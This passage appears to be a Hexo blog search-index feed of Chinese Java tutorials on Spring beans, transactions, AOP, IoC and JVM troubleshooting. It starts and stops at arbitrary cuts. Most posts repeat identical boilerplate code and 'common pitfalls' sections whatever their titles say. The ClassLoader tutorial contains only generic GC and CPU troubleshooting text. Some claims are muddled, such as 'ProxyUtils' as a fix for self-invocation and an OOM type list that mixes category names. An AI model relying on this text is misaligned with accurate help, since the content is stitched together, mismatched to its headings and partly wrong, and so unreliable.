class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Bean 生命周期按步骤理解</title>
      <link href="//bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/"/>
      <url>//bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Bean-生命周期按步骤理解"><a href="#教程：Bean-生命周期按步骤理解" class="headerlink" title="教程：Bean 生命周期按步骤理解"></a>教程：Bean 生命周期按步骤理解</h1><p>Spring Bean 的生命周期一直是面试和日常开发中绕不开的话题。很多人知道有几个回调方法，但对执行顺序和实际应用场景并不清楚。本文按初始化到销毁的顺序，把关键节点梳理清楚，结合实际代码说明每个阶段的作用。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>构造器注入是 Spring 4.3+ 推荐的方式，能保证依赖在对象创建时就被注入</p></li><li><p>@PostConstruct 和 InitializingBean.afterPropertiesSet() 的执行顺序很关键</p></li><li><p>Aware 接口让 Bean 能够感知容器的上下文信息</p></li><li><p>销毁阶段的回调同样有两种方式：@PreDestroy 和 DisposableBean.destroy()</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>理清 Bean 的生命周期，有助于理解 Spring 容器的工作机制，也能帮你在合适的时机执行初始化和清理逻辑。比如在 @PostConstruct 中建立数据库连接，在 @PreDestroy 中释放资源。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Spring 事务失效的常见原因</title>
      <link href="//spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/"/>
      <url>//spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Spring-事务失效的常见原因"><a href="#教程：Spring-事务失效的常见原因" class="headerlink" title="教程：Spring 事务失效的常见原因"></a>教程：Spring 事务失效的常见原因</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Spring AOP 的原理和常见应用</title>
      <link href="//spring-aop-de-yuan-li-he-chang-jian-ying-yong/"/>
      <url>//spring-aop-de-yuan-li-he-chang-jian-ying-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Spring-AOP-的原理和常见应用"><a href="#教程：Spring-AOP-的原理和常见应用" class="headerlink" title="教程：Spring AOP 的原理和常见应用"></a>教程：Spring AOP 的原理和常见应用</h1><p>AOP 是 Spring 的核心功能之一，但真正用起来容易踩坑。很多人知道 @Aspect 注解，却不清楚代理模式的区别、切面的执行顺序、以及自调用失效的问题。本文从配置到常见问题，把实际项目中的处理思路整理出来。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>JDK 动态代理和 CGLIB 代理的区别：前者基于接口，后者基于类</p></li><li><p>切面的优先级由 @Order 注解控制，数字越小优先级越高</p></li><li><p>自调用问题的原因是内部方法调用不会经过代理对象</p></li><li><p>使用 ProxyUtils 或暴露 AopContext 可以解决自调用问题</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>AOP 是实现横切关注点的利器，但需要理解其底层机制才能用好。在实际项目中，日志、事务、权限校验都是 AOP 的典型应用场景。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Spring IoC 容器到底解决了什么</title>
      <link href="//spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/"/>
      <url>//spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Spring-IoC-容器到底解决了什么"><a href="#教程：Spring-IoC-容器到底解决了什么" class="headerlink" title="教程：Spring IoC 容器到底解决了什么"></a>教程：Spring IoC 容器到底解决了什么</h1><p>IoC 容器是 Spring 的根基，很多开发者每天在用却未必能说清它解决了什么。从手动 new 对象到依赖注入，这个转变看似简单，却带来了巨大的设计优势。本文从实际使用场景出发，理解依赖注入的价值。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>依赖注入实现了控制反转，把对象创建的控制权交给容器</p></li><li><p>构造器注入优于字段注入，能保证依赖的不可变性和非空性</p></li><li><p>IoC 容器提供了对象生命周期管理、依赖解析、配置管理等能力</p></li><li><p>通过 @Autowired 或 @Resource 注解实现依赖注入，前者按类型，后者按名称</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>IoC 不仅是一种技术实现，更是一种设计理念。它让代码更易测试、更易维护、更具扩展性。理解 IoC 有助于更好地设计和架构 Spring 应用。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：内存溢出和内存泄漏排查流程</title>
      <link href="//nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/"/>
      <url>//nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：内存溢出和内存泄漏排查流程"><a href="#教程：内存溢出和内存泄漏排查流程" class="headerlink" title="教程：内存溢出和内存泄漏排查流程"></a>教程：内存溢出和内存泄漏排查流程</h1><p>内存溢出和内存泄漏在 Java 项目中并不少见。本文讲排查流程和常见原因。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：线上 CPU 飙高如何定位 Java 问题</title>
      <link href="//xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/"/>
      <url>//xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：线上-CPU-飙高如何定位-Java-问题"><a href="#教程：线上-CPU-飙高如何定位-Java-问题" class="headerlink" title="教程：线上 CPU 飙高如何定位 Java 问题"></a>教程：线上 CPU 飙高如何定位 Java 问题</h1><p>线上 CPU 飙高是典型的紧急问题。本文讲一套从定位到解决的排查流程。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：ClassLoader 双亲委派模型实践理解</title>
      <link href="//classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/"/>
      <url>//classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：ClassLoader-双亲委派模型实践理解"><a href="#教程：ClassLoader-双亲委派模型实践理解" class="headerlink" title="教程：ClassLoader 双亲委派模型实践理解"></a>教程：ClassLoader 双亲委派模型实践理解</h1><p>双亲委派模型是 Java 类加载的核心。本文讲它的原理和实际应用。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：GC 日志怎么看才有用</title>
      <link href="//gc-ri-zhi-zen-me-kan-cai-you-yong/"/>
      <url>//gc-ri-zhi-zen-me-kan-cai-you-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：GC-日志怎么看才有用"><a href="#教程：GC-日志怎么看才有用" class="headerlink" title="教程：GC 日志怎么看才有用"></a>教程：GC 日志怎么看才有用</h1><p>GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>关注 Minor GC 和 Full GC 的频率和耗时</p></li><li><p>年轻代晋升到老年代的对象大小和频率</p></li><li><p>GC 前后的内存使用变化</p></li><li><p>使用 jstat、jmap、jvisualvm 等工具辅助分析</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：JVM 内存区域从入门到排查</title>
      <link href="//jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/"/>
      <url>//jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：JVM-内存区域从入门到排查"><a href="#教程：JVM-内存区域从入门到排查" class="headerlink" title="教程：JVM 内存区域从入门到排查"></a>教程：JVM 内存区域从入门到排查</h1><p>JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域</p></li><li><p>栈内存是线程私有的，每个线程都有自己的栈空间</p></li><li><p>方法区（元空间）存储类信息、常量池等</p></li><li><p>常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" 